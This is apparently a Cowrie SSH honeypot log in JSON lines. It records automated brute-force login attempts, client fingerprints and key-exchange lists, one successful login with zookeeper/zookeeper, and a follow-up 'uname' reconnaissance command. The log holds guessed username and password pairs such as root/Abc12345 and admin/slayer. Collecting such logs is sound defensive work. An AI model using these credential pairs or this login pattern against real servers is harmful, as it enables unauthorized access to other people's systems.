{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:54.765015Z","src_ip":"79.116.23.158","session":"7ac8c12b356a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:54.870146Z","src_ip":"79.116.23.158","session":"7ac8c12b356a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"slayer","message":"login attempt [admin/slayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:55.321488Z","src_ip":"79.116.23.158","session":"7ac8c12b356a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:56.428705Z","src_ip":"79.116.23.158","session":"7ac8c12b356a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40682,"dst_ip":"159.203.135.109","dst_port":22,"session":"9875b89e3f7c","protocol":"ssh","message":"New connection: 176.65.139.95:40682 (159.203.135.109:22) [session: 9875b89e3f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:56.760864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:56.859412Z","src_ip":"176.65.139.95","session":"9875b89e3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:56.863397Z","src_ip":"176.65.139.95","session":"9875b89e3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:57.500267Z","src_ip":"176.65.139.95","session":"9875b89e3f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:58.595951Z","src_ip":"176.65.139.95","session":"9875b89e3f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58144,"dst_ip":"159.203.135.109","dst_port":22,"session":"d78ea6d2144f","protocol":"ssh","message":"New connection: 176.65.139.95:58144 (159.203.135.109:22) [session: d78ea6d2144f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:03.401314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:03.410229Z","src_ip":"176.65.139.95","session":"d78ea6d2144f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:03.496837Z","src_ip":"176.65.139.95","session":"d78ea6d2144f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:03.779912Z","src_ip":"176.65.139.95","session":"d78ea6d2144f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:04.887009Z","src_ip":"176.65.139.95","session":"d78ea6d2144f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50094,"dst_ip":"159.203.135.109","dst_port":22,"session":"703923c8bf7e","protocol":"ssh","message":"New connection: 159.203.92.129:50094 (159.203.135.109:22) [session: 703923c8bf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.344850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.349528Z","src_ip":"159.203.92.129","session":"703923c8bf7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.354149Z","src_ip":"159.203.92.129","session":"703923c8bf7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Fank","password":"Fank","message":"login attempt [Fank/Fank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.365500Z","src_ip":"159.203.92.129","session":"703923c8bf7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39406,"dst_ip":"159.203.135.109","dst_port":22,"session":"70069e9fe413","protocol":"ssh","message":"New connection: 176.65.139.95:39406 (159.203.135.109:22) [session: 70069e9fe413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.826940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.959154Z","src_ip":"176.65.139.95","session":"70069e9fe413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:09.964180Z","src_ip":"176.65.139.95","session":"70069e9fe413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:10.371856Z","src_ip":"159.203.92.129","session":"703923c8bf7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:10.445993Z","src_ip":"176.65.139.95","session":"70069e9fe413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:11.533159Z","src_ip":"176.65.139.95","session":"70069e9fe413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf09f8dd050","protocol":"ssh","message":"New connection: 176.65.139.95:39410 (159.203.135.109:22) [session: ecf09f8dd050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:16.383886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:16.388927Z","src_ip":"176.65.139.95","session":"ecf09f8dd050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:16.472222Z","src_ip":"176.65.139.95","session":"ecf09f8dd050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:16.801125Z","src_ip":"176.65.139.95","session":"ecf09f8dd050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:17.885866Z","src_ip":"176.65.139.95","session":"ecf09f8dd050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59762,"dst_ip":"159.203.135.109","dst_port":22,"session":"46b7483893b8","protocol":"ssh","message":"New connection: 176.65.139.95:59762 (159.203.135.109:22) [session: 46b7483893b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:22.882295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:22.887718Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:22.993125Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:23.329592Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:23.559740Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:23.563168Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:23.652415Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:23.669228Z","src_ip":"176.65.139.95","session":"46b7483893b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53970,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73fab2ce34b","protocol":"ssh","message":"New connection: 176.65.139.95:53970 (159.203.135.109:22) [session: c73fab2ce34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:29.262313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:29.266322Z","src_ip":"176.65.139.95","session":"c73fab2ce34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:29.364015Z","src_ip":"176.65.139.95","session":"c73fab2ce34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:29.694592Z","src_ip":"176.65.139.95","session":"c73fab2ce34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:27:30.930495Z","src_ip":"176.65.139.95","session":"c73fab2ce34b","protocol":"ssh"}
